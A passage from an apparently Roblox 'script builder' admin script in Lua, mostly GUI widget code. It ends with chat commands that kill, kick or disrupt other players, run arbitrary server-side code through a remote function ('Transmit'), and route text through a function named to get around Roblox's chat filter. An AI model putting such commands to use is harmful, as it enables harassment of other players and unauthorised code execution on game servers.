  4916.         Parent = self:GetContentInstance()
  4917.     }
  4918.     if options then
  4919.         for key, value in pairs(options) do
  4920.             properties[key] = value
  4921.         end
  4922.     end
  4923.     local textLabel = RBXInstance.new "TextLabel" (properties)
  4924.     textLabel.Size = UDim2.new(1, 0, 0, textLabel.TextBounds.Y)
  4925.     self.listItems[#self.listItems + 1] = textLabel
  4926.     self:SetContentHeight(self.m_content_height + textLabel.TextBounds.Y)
  4927. end
  4928. function GuiTextList:ClearItems()
  4929.     local listItems = self.listItems
  4930.     for _, item in ipairs(listItems) do
  4931.         listItems[item] = nil
  4932.         item:Destroy()
  4933.     end
  4934.     self:SetContentHeight(0)
  4935. end
  4936. function GuiTextList:Destroy()
  4937.     self:ClearItems()
  4938.     GuiScrollFrame.Destroy(self)
  4939. end
  4940. function GuiTextList:Init(data)
  4941.     GuiScrollFrame.Init(self, data)
  4942.     self.listItems = {}
  4943. end
  4944. function GuiTextList:IsA(className)
  4945.     return className == "GuiTextList" or GuiScrollFrame.IsA(self, className)
  4946. end
  4947. GuiNetworkList = setmetatable({}, GuiTextList)
  4948. GuiNetworkList.__index = GuiNetworkList
  4949. function GuiNetworkList:AddItem(systemTime, idleTime, userName, isNil)
  4950.     local frame = GuiFrame:new {
  4951.         BackgroundTransparency = 1,
  4952.         BorderSize = 0,
  4953.         BorderTransparency = 1,
  4954.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  4955.         Size = UDim2.new(1, -8, 0, 14),
  4956.     }
  4957.     local systemTimeColor
  4958.     if string.sub(systemTime, 1, 1) == "?" then
  4959.         systemTimeColor = Color3.new(1, 0.75, 0.75)
  4960.     else
  4961.         systemTimeColor = Color3.new(0.75, 0.75, 1)
  4962.     end
  4963.     local systemTimeLabel = RBXInstance.new "TextLabel" {
  4964.         BackgroundTransparency = 1,
  4965.         Font = "ArialBold",
  4966.         FontSize = "Size12",
  4967.         Position = UDim2.new(0, 0, 0, 0),
  4968.         Size = UDim2.new(0, 50, 1, 0),
  4969.         Text = systemTime,
  4970.         TextColor3 = systemTimeColor,
  4971.         TextStrokeTransparency = 0.6,
  4972.         TextXAlignment = "Left",
  4973.         Parent = frame:GetContentInstance()
  4974.     }
  4975.     local idle_time_color
  4976.     if string.sub(idleTime, 1, 1) == "0" then
  4977.         idle_time_color = Color3.new(1, 1, 1)
  4978.     else
  4979.         idle_time_color = Color3.new(1, 0.75, 0.75)
  4980.     end
  4981.     local idleTimeLabel = RBXInstance.new "TextLabel" {
  4982.         BackgroundTransparency = 1,
  4983.         Font = "ArialBold",
  4984.         FontSize = "Size12",
  4985.         Position = UDim2.new(0, 40, 0, 0),
  4986.         Size = UDim2.new(0, 45, 1, 0),
  4987.         Text = idleTime,
  4988.         TextColor3 = idle_time_color,
  4989.         TextStrokeTransparency = 0.6,
  4990.         TextXAlignment = "Right",
  4991.         Parent = frame:GetContentInstance()
  4992.     }
  4993.     local userNameLabel = GuiTextButton:new {
  4994.         AutoButtonColor = false,
  4995.         BackgroundTransparency = 1,
  4996.         BorderSize = 0,
  4997.         BorderTransparency = 1,
  4998.         Font = Enum.Font.SourceSansBold,
  4999.         FontSize = Enum.FontSize.Size14,
  5000.         Position = UDim2.new(0, 98, 0, 0),
  5001.         Size = UDim2.new(1, -98, 1, 0),
  5002.         TextXAlignment = Enum.TextXAlignment.Left,
  5003.         Text = userName,
  5004.         Parent = frame
  5005.     }
  5006.     frame:SetParent(self)
  5007.     local userNameWidth = userNameLabel:GetTextBounds().X
  5008.     userNameLabel:SetSize(UDim2.new(0, userNameWidth + 4, 1, 0))
  5009.     if isNil then
  5010.         local isNilLabel = RBXInstance.new "TextLabel" {
  5011.             BackgroundTransparency = 1,
  5012.             Font = "SourceSans",
  5013.             FontSize = "Size14",
  5014.             Position = UDim2.new(0, 100 + userNameWidth + 8, 0, 0),
  5015.             Size = UDim2.new(0, 50, 1, 0),
  5016.             Text = "(nil)",
  5017.             TextColor3 = Color3.new(1, 0.4, 0.4),
  5018.             TextStrokeTransparency = 0.6,
  5019.             TextXAlignment = "Left",
  5020.             Parent = frame:GetContentInstance()
  5021.         }
  5022.     end
  5023.     self.listItems[#self.listItems + 1] = frame
  5024.     self:SetContentHeight(self.m_content_height + 14)
  5025. end
  5026. function GuiNetworkList:IsA(className)
  5027.     return className == "GuiNetworkList" or GuiTextList.IsA(self, className)
  5028. end
  5029. GuiTextOutput = setmetatable({}, GuiScrollFrame)
  5030. GuiTextOutput.__index = GuiTextOutput
  5031. GuiTextOutput.__default = {__index = {
  5032.     DisplayMaxLines = 120,
  5033.     DisplayWidth = 0
  5034. }}
  5035. function GuiTextOutput:Init(data)
  5036.     GuiScrollFrame.Init(self, data)
  5037.     setmetatable(data, GuiTextOutput.__default)
  5038.     self.displayMaxLines = data.DisplayMaxLines
  5039.     self.displayWidth = data.DisplayWidth
  5040.     self.displayItems = {}
  5041.     self:SetBackgroundTransparency(0)
  5042.     self:SetColor(Color3.new(1, 1, 1))
  5043.     self.m_scroll_pane.BackgroundColor3 = Color3.new(0.5, 0.5, 0.5)
  5044. end
  5045. function GuiTextOutput:IsA(className)
  5046.     return className == "GuiTextOutput" or GuiScrollFrame.IsA(self, className)
  5047. end
  5048. function GuiTextOutput:Print(...)
  5049.     self:PrintFormat(nil, ...)
  5050. end
  5051. function GuiTextOutput:PrintFormat(options, ...)
  5052.     local buffer = {}
  5053.     local args = {...}
  5054.     local first = true
  5055.     for i = 1, select("#", ...) do
  5056.         buffer[i] = tostring(args[i])
  5057.     end
  5058.     message = Utility.BlockRobloxFilter(table.concat(buffer, "\t"))
  5059.     local properties = {
  5060.         BackgroundTransparency = 1,
  5061.         Font = "ArialBold",
  5062.         FontSize = "Size12",
  5063.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  5064.         Text = message,
  5065.         TextColor3 = Color3.new(1, 1, 1),
  5066.         TextWrapped = true,
  5067.         TextXAlignment = "Left",
  5068.         TextYAlignment = "Bottom",
  5069.         Parent = self:GetContentInstance()
  5070.     }
  5071.     if options then
  5072.         for key, value in pairs(options) do
  5073.             properties[key] = value
  5074.         end
  5075.     end
  5076.     local textBounds = GuiService:GetTextBounds(message, properties.Font, properties.FontSize, properties.TextXAlignment, properties.TextYAlignment,
  5077.  
  5078. self.displayWidth - 20)
  5079.     local textHeight = textBounds.Y
  5080.     properties.Size = UDim2.new(0, self.displayWidth - 8, 0, textBounds.Y)
  5081.     local textLabel = RBXInstance.new "TextLabel" (properties)
  5082.     self.displayItems[#self.displayItems + 1] = textLabel
  5083.     local maxLines = self.displayMaxLines
  5084.     local maxHeight = maxLines * 12
  5085.     local newHeight = self.m_content_height + textHeight
  5086.     if newHeight > maxHeight then
  5087.         local offset = 0
  5088.         local newList = {}
  5089.         local oldList = self.displayItems
  5090.         for index, child in ipairs(oldList) do
  5091.             local childOffset = child.Size.Y.Offset
  5092.             if newHeight > maxHeight then
  5093.                 offset = offset + childOffset
  5094.                 newHeight = newHeight - childOffset
  5095.                 child:Destroy()
  5096.             else
  5097.                 child.Position = child.Position - UDim2.new(0, 0, 0, offset)
  5098.                 newList[#newList + 1] = child
  5099.             end
  5100.         end
  5101.         self.displayItems = newList
  5102.     end
  5103.     self:SetContentHeight(newHeight)
  5104. end
  5105. GuiChatLog = setmetatable({}, GuiScrollFrame)
  5106. GuiChatLog.__index = GuiChatLog
  5107. GuiChatLog.__default = {__index = {
  5108.     DisplayMaxLines = 200,
  5109.     DisplayWidth = 0,
  5110. }}
  5111. function GuiChatLog:Chat(speaker, message)
  5112.     local speaker_color = AdvancedGUI.GenerateChatColor(speaker)
  5113.     speaker = Utility.BlockRobloxFilter(speaker)
  5114.     message = "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" .. Utility.BlockRobloxFilter(message)
  5115.     local timestamp = Utility.GetTimestamp()
  5116.     local textBounds = GuiService:GetTextBounds(message, "ArialBold", "Size12", "Left", "Bottom", self.displayWidth - 8)
  5117.     local textHeight = math.max(math.min(textBounds.Y, 36), 12)
  5118.     local message_frame = RBXInstance.new "Frame" {
  5119.         BackgroundTransparency = 1,
  5120.         Position = UDim2.new(0, 0, 0, self.m_content_height),
  5121.         Size = UDim2.new(0, self.displayWidth, 0, textHeight),
  5122.         Parent = self:GetContentInstance()
  5123.     }
  5124.     local timestamp_label = RBXInstance.new "TextLabel" {
  5125.         BackgroundTransparency = 1,
  5126.         Font = "ArialBold",
  5127.         FontSize = "Size12",
  5128.         Position = UDim2.new(0, 4, 0, 0),
  5129.         Size = UDim2.new(1, -8, 0, 12),
  5130.         Text = timestamp,
  5131.         TextColor3 = Color3.new(0.75, 0.75, 0.75),
  5132.         TextStrokeTransparency = 0.6,
  5133.         TextWrapped = true,
  5134.         TextXAlignment = "Left",
  5135.         Parent = message_frame
  5136.     }
  5137.     local speaker_label = RBXInstance.new "TextLabel" {
  5138.         BackgroundTransparency = 1,
  5139.         Font = "ArialBold",
  5140.         FontSize = "Size12",
  5141.         Position = UDim2.new(0, 64, 0, 0),
  5142.         Size = UDim2.new(0, 100, 0, 12),
  5143.         Text = speaker,
  5144.         TextColor3 = speaker_color,
  5145.         TextStrokeTransparency = 0.6,
  5146.         Parent = message_frame
  5147.     }
  5148.     local message_label = RBXInstance.new "TextLabel" {
  5149.         BackgroundTransparency = 1,
  5150.         Font = "ArialBold",
  5151.         FontSize = "Size12",
  5152.         Position = UDim2.new(0, 4, 0, 0),
  5153.         Size = UDim2.new(1, -8, 1, 0),
  5154.         Text = message,
  5155.         TextColor3 = Color3.new(1, 1, 1),
  5156.         TextStrokeTransparency = 0.6,
  5157.         TextXAlignment = "Left",
  5158.         TextYAlignment = "Bottom",
  5159.         TextWrapped = true,
  5160.         Parent = message_frame
  5161.     }
  5162.     self.displayItems[#self.displayItems + 1] = message_frame
  5163.     local maxLines = self.displayMaxLines
  5164.     local maxHeight = maxLines * 12
  5165.     local newHeight = self.m_content_height + textHeight
  5166.     if newHeight > maxHeight then
  5167.         local offset = 0
  5168.         local newList = {}
  5169.         local oldList = self.displayItems
  5170.         for index, child in ipairs(oldList) do
  5171.             local childOffset = child.Size.Y.Offset
  5172.             if newHeight > maxHeight then
  5173.                 offset = offset + childOffset
  5174.                 newHeight = newHeight - childOffset
  5175.                 child:Destroy()
  5176.             else
  5177.                 child.Position = child.Position - UDim2.new(0, 0, 0, offset)
  5178.                 newList[#newList + 1] = child
  5179.             end
  5180.         end
  5181.         self.displayItems = newList
  5182.     end
  5183.     self:SetContentHeight(newHeight)
  5184. end
  5185. function GuiChatLog:Init(data)
  5186.     GuiScrollFrame.Init(self, data)
  5187.     setmetatable(data, GuiChatLog.__default)
  5188.     self.displayMaxLines = data.DisplayMaxLines
  5189.     self.displayWidth = data.DisplayWidth
  5190.     self.displayItems = {}
  5191. end
  5192. function GuiChatLog:IsA(className)
  5193.     return className == "GuiChatLog" or GuiScrollFrame.IsA(self, className)
  5194. end
  5195. GuiSeperator = setmetatable({}, GuiObject)
  5196. GuiSeperator.__index = GuiSeperator
  5197. GuiSeperator.__default = {__index = {
  5198.     Active = false,
  5199.     Position = UDim2.new(0, 0, 0, 0),
  5200.     Size = UDim2.new(1, 0, 0, 16),
  5201.     Visible = true
  5202. }}
  5203. function GuiSeperator:Init(data)
  5204.     GuiObject.Init(self)
  5205.     setmetatable(data, GuiSeperator.__default)
  5206.     local base_frame = RBXInstance.new "Frame" {
  5207.         BackgroundTransparency = 1,
  5208.         RBXInstance.new "Frame" {
  5209.             BackgroundColor3 = Color3.new(1, 1, 1),
  5210.             BackgroundTransparency = 0.25,
  5211.             BorderSizePixel = 0,
  5212.             Position = UDim2.new(0.5, -13, 0.5, -1),
  5213.             Size = UDim2.new(0, 3, 0, 3),
  5214.             RBXInstance.new "Frame" {
  5215.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5216.                 BackgroundTransparency = 0.75,
  5217.                 BorderSizePixel = 0,
  5218.                 Position = UDim2.new(0, -1, 0, -1),
  5219.                 Size = UDim2.new(0, 5, 0, 5)
  5220.             }
  5221.         },
  5222.         RBXInstance.new "Frame" {
  5223.             BackgroundColor3 = Color3.new(1, 1, 1),
  5224.             BackgroundTransparency = 0.25,
  5225.             BorderSizePixel = 0,
  5226.             Position = UDim2.new(0.5, -1, 0.5, -1),
  5227.             Size = UDim2.new(0, 3, 0, 3),
  5228.             RBXInstance.new "Frame" {
  5229.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5230.                 BackgroundTransparency = 0.75,
  5231.                 BorderSizePixel = 0,
  5232.                 Position = UDim2.new(0, -1, 0, -1),
  5233.                 Size = UDim2.new(0, 5, 0, 5)
  5234.             }
  5235.         },
  5236.         RBXInstance.new "Frame" {
  5237.             BackgroundColor3 = Color3.new(1, 1, 1),
  5238.             BackgroundTransparency = 0.25,
  5239.             BorderSizePixel = 0,
  5240.             Position = UDim2.new(0.5, 11, 0.5, -1),
  5241.             Size = UDim2.new(0, 3, 0, 3),
  5242.             RBXInstance.new "Frame" {
  5243.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5244.                 BackgroundTransparency = 0.75,
  5245.                 BorderSizePixel = 0,
  5246.                 Position = UDim2.new(0, -1, 0, -1),
  5247.                 Size = UDim2.new(0, 5, 0, 5)
  5248.             }
  5249.         }
  5250.     }
  5251.     self.m_base_instance = base_frame
  5252.     self:SetActive(data.Active)
  5253.     self:SetPosition(data.Position)
  5254.     self:SetSize(data.Size)
  5255.     self:SetVisible(data.Visible)
  5256.     self:SetParent(data.Parent)
  5257. end
  5258. function GuiSeperator:IsA(className)
  5259.     return className == "GuiSeperator" or GuiObject.IsA(self, className)
  5260. end
  5261. local startMenu = GuiFrame:new {
  5262.     BorderTransparency = 0.5,
  5263.     Position = UDim2.new(0, -4, 0, -4),
  5264.     Size = UDim2.new(0, 68, 1, 8),
  5265.     Parent = GuiService
  5266. }
  5267. GuiSeperator:new {
  5268.     Position = UDim2.new(0, 0, 0, 5),
  5269.     Parent = startMenu
  5270. }
  5271. GuiSeperator:new {
  5272.     Position = UDim2.new(0, 0, 1, -85),
  5273.     Parent = startMenu
  5274. }
  5275. local networkButton = GuiTextButton:new {
  5276.     BackgroundTransparency = 0.9,
  5277.     Mnemonic = "L",
  5278.     Position = UDim2.new(0, 4, 1, -647),
  5279.     Text = "Network",
  5280.     Parent = startMenu
  5281. }
  5282. local chatLogButton = GuiTextButton:new {
  5283.     BackgroundTransparency = 0.9,
  5284.     Mnemonic = "K",
  5285.     Position = UDim2.new(0, 4, 1, -475),
  5286.     Text = "Chat log",
  5287.     Parent = startMenu
  5288. }
  5289. local outputButton = GuiTextButton:new {
  5290.     BackgroundTransparency = 0.9,
  5291.     Mnemonic = "P",
  5292.     Position = UDim2.new(0, 4, 1, -283),
  5293.     Text = "Output",
  5294.     Parent = startMenu
  5295. }
  5296. local toolsButton = GuiTextButton:new {
  5297.     BackgroundTransparency = 0.9,
  5298.     Mnemonic = "O",
  5299.     Position = UDim2.new(0, 4, 1, -137),
  5300.     Text = "Tools",
  5301.     Parent = startMenu
  5302. }
  5303. local networkFrame = GuiNetworkList:new {
  5304.     Position = UDim2.new(0, 66, 1, -647),
  5305.     Size = UDim2.new(0, 0, 0, 168),
  5306.     Visible = false,
  5307.     Parent = GuiService
  5308. }
  5309. local chatLogFrame = GuiChatLog:new {
  5310.     DisplayWidth = 332,
  5311.     Position = UDim2.new(0, 66, 1, -475),
  5312.     Size = UDim2.new(0, 0, 0, 188),
  5313.     Visible = false,
  5314.     Parent = GuiService
  5315. }
  5316. local outputFrame = GuiTextOutput:new {
  5317.     DisplayWidth = 332,
  5318.     Position = UDim2.new(0, 66, 1, -283),
  5319.     Size = UDim2.new(0, 0, 0, 140),
  5320.     Visible = false,
  5321.     Parent = GuiService
  5322. }
  5323. local toolsFrame = GuiFrame:new {
  5324.     Position = UDim2.new(0, 66, 1, -137),
  5325.     Size = UDim2.new(0, 0, 0, 52),
  5326.     Visible = false,
  5327.     Parent = GuiService
  5328. }
  5329. local toggleCharacterButton = GuiTextButton:new {
  5330.     BackgroundTransparency = 0.9,
  5331.     Position = UDim2.new(0, 1, 0, 1),
  5332.     Size = UDim2.new(0, 108, 0, 20),
  5333.     Text = "Enable character",
  5334.     Parent = toolsFrame
  5335. }
  5336. local resetCharacterButton = GuiTextButton:new {
  5337.     BackgroundTransparency = 0.9,
  5338.     Position = UDim2.new(0, 1, 0, 23),
  5339.     Size = UDim2.new(0, 108, 0, 20),
  5340.     Text = "Reset character",
  5341.     Parent = toosFrame
  5342. }
  5343. local clearWorkspaceButton = GuiTextButton:new {
  5344.     BackgroundTransparency = 0.9,
  5345.     Position = UDim2.new(0, 110, 0, 1),
  5346.     Size = UDim2.new(0, 108, 0, 20),
  5347.     Text = "Clear workspace",
  5348.     Parent = toolsFrame
  5349. }
  5350. local clearScriptButton = GuiTextButton:new {
  5351.     BackgroundTransparency = 0.9,
  5352.     Position = UDim2.new(0, 110, 0, 23),
  5353.     Size = UDim2.new(0, 108, 0, 20),
  5354.     Text = "Clear all",
  5355.     Parent = toolsFrame
  5356. }
  5357. local fixLightingButton = GuiTextButton:new {
  5358.     BackgroundTransparency = 0.9,
  5359.     Position = UDim2.new(0, 219, 0, 1),
  5360.     Size = UDim2.new(0, 108, 0, 20),
  5361.     Text = "Fix lighting",
  5362.     Parent = toolsFrame
  5363. }
  5364. local reloadCommandsButton = GuiTextButton:new {
  5365.     BackgroundTransparency = 0.9,
  5366.     Position = UDim2.new(0, 219, 0, 23),
  5367.     Size = UDim2.new(0, 108, 0, 20),
  5368.     Text = "Reload commands",
  5369.     Parent = toolsFrame
  5370. }
  5371. toggleCharacterButton.Activated:connect(function()
  5372.     local enabled = not PlayerControl.IsEnabled()
  5373.     if enabled then
  5374.         toggleCharacterButton:SetText("Disable character")
  5375.     else
  5376.         toggleCharacterButton:SetText("Enable character")
  5377.     end
  5378.     PlayerControl.SetEnabled(enabled)
  5379. end)
  5380. resetCharacterButton.Activated:connect(function()
  5381.     PlayerControl.ResetCharacter()
  5382. end)
  5383. clearWorkspaceButton.Activated:connect(function()
  5384.     Utility.CleanWorkspace()
  5385. end)
  5386. clearScriptButton.Activated:connect(function()
  5387.     Utility.CleanWorkspaceAndScripts()
  5388. end)
  5389. fixLightingButton.Activated:connect(function()
  5390.     Utility.CleanLighting()
  5391. end)
  5392. reloadCommandsButton.Activated:connect(function()
  5393.     UserInterface.FixChattedConnection()
  5394. end)
  5395. local networkFrameActive = false
  5396. local networkFrameTweening = false
  5397. networkButton.Activated:connect(function()
  5398.     if not networkFrameTweening then
  5399.         networkFrameActive = not networkFrameActive
  5400.         networkFrameTweening = true
  5401.         if networkFrameActive then
  5402.             networkFrame:SetVisible(true)
  5403.             networkFrame.m_base_instance:TweenSize(UDim2.new(0, 276, 0, 168), nil, nil, 0.5)
  5404.             wait(0.5)
  5405.         else
  5406.             networkFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 168), nil, nil, 0.5)
  5407.             wait(0.5)
  5408.             networkFrame:SetVisible(false)
  5409.         end
  5410.         networkFrameTweening = false
  5411.     end
  5412. end)
  5413. local chatLogFrameActive = false
  5414. local chatLogFrameTweening = false
  5415. chatLogButton.Activated:connect(function()
  5416.     if not chatLogFrameTweening then
  5417.         chatLogFrameActive = not chatLogFrameActive
  5418.         chatLogFrameTweening = true
  5419.         if chatLogFrameActive then
  5420.             chatLogFrame:SetVisible(true)
  5421.             chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 188), nil, nil, 0.5)
  5422.             wait(0.5)
  5423.         else
  5424.             chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 188), nil, nil, 0.5)
  5425.             wait(0.5)
  5426.             chatLogFrame:SetVisible(false)
  5427.         end
  5428.         chatLogFrameTweening = false
  5429.     end
  5430. end)
  5431. local outputFrameActive = false
  5432. local outputFrameTweening = false
  5433. outputButton.Activated:connect(function()
  5434.     if not outputFrameTweening then
  5435.         outputFrameActive = not outputFrameActive
  5436.         outputFrameTweening = true
  5437.         if outputFrameActive then
  5438.             outputFrame:SetVisible(true)
  5439.             outputFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 140), nil, nil, 0.5)
  5440.             wait(0.5)
  5441.         else
  5442.             outputFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 140), nil, nil, 0.5)
  5443.             wait(0.5)
  5444.             outputFrame:SetVisible(false)
  5445.         end
  5446.         outputFrameTweening = false
  5447.     end
  5448. end)
  5449. local toolsFrameActive = false
  5450. local toolsFrameTweening = false
  5451. toolsButton.Activated:connect(function()
  5452.     if not toolsFrameTweening then
  5453.         toolsFrameActive = not toolsFrameActive
  5454.         toolsFrameTweening = true
  5455.         if toolsFrameActive then
  5456.             toolsFrame:SetVisible(true)
  5457.             toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 336, 0, 52), nil, nil, 0.5)
  5458.             wait(0.5)
  5459.         else
  5460.             toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 52), nil, nil, 0.5)
  5461.             wait(0.5)
  5462.             toolsFrame:SetVisible(false)
  5463.         end
  5464.         toolsFrameTweening = false
  5465.     end
  5466. end)
  5467. AdvancedGUI.startMenu = startMenu
  5468. AdvancedGUI.networkFrame = networkFrame
  5469. AdvancedGUI.outputFrame = outputFrame
  5470. AdvancedGUI.toolsFrame = toolsFrame
  5471. AdvancedGUI.chatLogFrame = chatLogFrame
  5472. AdvancedGUI.toggleCharacterButton = toggleCharacterButton
  5473. AdvancedGUI.reloadCommandsButton = reloadCommandsButton
  5474. function AdvancedGUI.Print(...)
  5475.     AdvancedGUI.outputFrame:Print(...)
  5476. end
  5477. function AdvancedGUI.PrintFormat(...)
  5478.     AdvancedGUI.outputFrame:PrintFormat(...)
  5479. end
  5480. function AdvancedGUI.PrintChatLog(speaker, message)
  5481.     AdvancedGUI.chatLogFrame:Chat(speaker, message)
  5482. end
  5483. for _, entry in Logger.NodeIterator, Logger.entries do
  5484.     if entry then
  5485.         local messageType = entry[1]
  5486.         local messageTypeValue
  5487.         if messageType == Logger.MessageType.Error then
  5488.             messageTypeValue = Logger.MessageType.Severe.Value
  5489.         else
  5490.             messageTypeValue = messageType.Value
  5491.         end
  5492.         AdvancedGUI.outputFrame:PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], entry[2])
  5493.     else
  5494.         break
  5495.     end
  5496. end
  5497.  
  5498. function GetPlayers(str)
  5499.     local found = {};
  5500.     if str == "all" then
  5501.         for i,v in pairs(game.Players:children()) do
  5502.             if v:IsA("Player") then table.insert(found,v) end
  5503.         end
  5504.     else
  5505.         for i,v in pairs(game.Players:children()) do
  5506.             if string.match(v.Name:lower(), str:lower()) and v:IsA("Player") then
  5507.                 table.insert(found,v)
  5508.             end
  5509.         end
  5510.     end
  5511.     return found
  5512. end
  5513.  
  5514. function NewCMD(nme, usg, desc, func)
  5515.     table.insert(CMDS, {['Name']=nme, ['Usage']=usg, ['Description']=desc, ['Function']=func})
  5516. end
  5517.  
  5518. NewCMD("Chat Theme", "ctheme", "Changes the chat theme", function(msg) ChatBubble.SetTheme(msg) end)
  5519. NewCMD("Clean", "clr", "Clears the game", function() Utility.CleanWorkspaceAndScripts() end)
  5520. NewCMD("Fix Lighting", "fixl", "Fixes the ligghting",function() Utility.CleanLighting() end)
  5521. NewCMD("Kill", "kill", "Kills the player", function(msg)
  5522.     local plrs = GetPlayers(msg)
  5523.     for _,plr in next,plrs do
  5524.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really red"), float_duration = 1})
  5525.         plr.Character:BreakJoints()
  5526.     end
  5527. end)
  5528.  
  5529. NewCMD("Kick", "kick", "Kicks the player", function(msg)
  5530.     local plrs = GetPlayers(msg)
  5531.     for _,plr in next,plrs do
  5532.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really black"), float_duration = 1})
  5533.         plr:remove()
  5534.     end
  5535. end)
  5536.  
  5537. NewCMD("Show commands","cmds", "Shows the commands",
  5538.     function()
  5539.         for i,v in pairs(CMDS) do
  5540.             Tablet(v['Name'],Colors.Black,function()
  5541.             Dismiss()
  5542.             Tablet("Viewing".." : "..v['Name'])--wait u got so many I just want to access func
  5543.             Tablet("Usage".." : "..v['Usage'])
  5544.             Tablet("Description".." : "..v['Description'])
  5545.             end)
  5546.             end
  5547.         end
  5548. )
  5549. NewCMD("Disconnect", "disc", "Disconnects the player",function(msg)
  5550.     local plrs = GetPlayers(msg)
  5551.     for _,plr in next,plrs do
  5552.         if RF ~= nil then
  5553.             GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Magenta"), float_duration = 1})
  5554.             RF:InvokeServer("game.Players."..plr.Name..":Kick()")
  5555.         else
  5556.             Tablet("Could not find Attachment", Colors.Red)
  5557.         end
  5558.     end
  5559. end)
  5560. NewCMD("Ping", "ping", "Shows a tablet with your desired text",function(msg) Tablet(msg, Colors.Green) end)
  5561. NewCMD("Dismiss", "dt", "Dismisses all your tablets",function(msg) Dismiss() end)
  5562. NewCMD("Visibility", "tabvis", "Changes the visibility of the tabs",function() if TabsInWorkspace == true then TabsInWorkspace = false Tablet("Tabs will be invisible from now on", Colors.Red) else TabsInWorkspace = true Tablet("Tabs will be visible from now on!", Colors.Lime) end end)
  5563. NewCMD("Respawn", "rs", "Respawns the given player",function(msg)
  5564.     local plrs = GetPlayers(msg)
  5565.     for _,plr in next,plrs do
  5566.         if RF ~= nil then
  5567.             GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), fade_out_color = BrickColor.new("Instituational White"),float_duration = 1})
  5568.             RF:InvokeServer("game.Players."..plr.Name..":loadCharacter()")
  5569.         else
  5570.             Tablet("Could not find Attachment", Colors.Red)
  5571.         end
  5572.     end
  5573. end)
  5574.  
  5575. NewCMD("Transmit", "trans", "Sends a server-side source",function(msg)
  5576.     if RF ~= nil then
  5577.         RF:InvokeServer(msg)
  5578.     end
  5579. end)
  5580.  
  5581. NewCMD("SetCharId", "setcharid", "Sets the character id",function(args) if args == 1 or 2 or 3 or 4 then CharacterAppearance.defaultAppearanceId = tonumber(args) end end)
  5582. NewCMD("Pushable player", "pushable", "Sets if the player can be pushed or not",function(args) PlayerControl.SetPushable(not PlayerControl.IsPushable()) end)
  5583. NewCMD("Rolling player", "rolling", "Sets rolling fly",function(args) PlayerControl.SetRolling(not PlayerControl.IsRolling()) end)
  5584. NewCMD("Set Name", "setname", "Sets the player's name",function(args) user_name = args end)
  5585.  
  5586. NewCMD("Switch SB", "sb", "Switches SB",function(msg)
  5587.     if msg == "nex" then
  5588.         Workspace.Parent:service'TeleportService':Teleport(178350907)
  5589.     elseif msg == "rj" then
  5590.         Workspace.Parent:service'TeleportService':Teleport(game.PlaceId)
  5591.     elseif msg == "mas" then
  5592.         Workspace.Parent:service'TeleportService':Teleport(210101277)
  5593.     end
  5594. end)
  5595.  
  5596. NewCMD("PyramidCharacter", "pyr", "Enables or disables nil Pyramid",function(msg)
  5597.     if characterMode == "normal" then
  5598.         characterMode = "pyramid"
  5599.         Player.Character = nil;
  5600.         PyramidCharacter.Teleport(Workspace.CurrentCamera.Focus.p)
  5601.         PyramidCharacter.visible = true
  5602.         PlayerControl.SetEnabled(false)
  5603.     else
  5604.         characterMode = "normal"
  5605.         PyramidCharacter.visible = false
  5606.         PlayerControl.SetEnabled(true)
  5607.     end
  5608. end)
  5609.  
  5610. NewCMD("Reset Controls", "resetc", "Resets chat",function()
  5611.     if Player.Parent ~= game.Players then
  5612.         Player.Character = PlayerControl.GetCharacter()
  5613.         Camera.CameraSubject = PlayerControl.GetHumanoid()
  5614.         chatAdornee = PlayerControl.GetHead()
  5615.     else
  5616.         chatAdornee = Player.Character.Head
  5617.     end
  5618. end)
  5619.  
  5620. NewCMD("Joint Crap", "jc", "Messes up the player's character",function(msg)
  5621.     local plrs = GetPlayers(msg)
  5622.     for _,plr in next,plrs do
  5623.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), float_duration = 1})
  5624.         GraphicalEffects.JointCrap(plr.Character)
  5625.     end
  5626. end)
  5627.    
  5628. function onChatted(Message)
  5629. if string.sub(Message,1,3) == "/e " then Message = string.sub(Message,4) end
  5630.     pcall(function()
  5631.         for i,v in pairs(CMDS) do
  5632.                 local tosay = "/"..v['Usage']:lower()
  5633.                 if Message:sub(1,tosay:len()):lower() == tosay:lower() then
  5634.                         local Run,Error = ypcall(function()
  5635.                             v.Function(Message:sub(tosay:len()+2))
  5636.                         end)
  5637.                         if Error then
  5638.                             print("[Error]: "..tostring(Error))
  5639.                         end
  5640.                 end
  5641.         end
  5642.     end)
  5643. end
  5644.  
  5645. Colors = {
  5646.         Red = Color3.new(1,0,0);
  5647.         Orange = Color3.new(1,0.5,0);
  5648.         Yellow = Color3.new(1,1,0);
  5649.         Olive = Color3.new(0.5,1,0);
  5650.         Lime = Color3.new(0,1,0);
  5651.         Green = Color3.new(0,0.5,0);
  5652.         BlueishGreen = Color3.new(0,1,0.5);
  5653.         Aqua = Color3.new(0,1,1);
  5654.         SoftBlue = Color3.new(0,0.5,1);
  5655.         Blue = Color3.new(0,0,1);
  5656.         Purple = Color3.new(0.5,0,1);
  5657.         Magenta = Color3.new(0.75,0,0.75);
  5658.         Pink = Color3.new(1,0,1);
  5659.         White = Color3.new(1,1,1);
  5660.         Grey = Color3.new(0.5,0.5,0.5);
  5661.         Black = Color3.new(0,0,0);
  5662. };
  5663.  
  5664. function Dismiss()
  5665.                 for _=1,100 do
  5666.                         pcall(function()
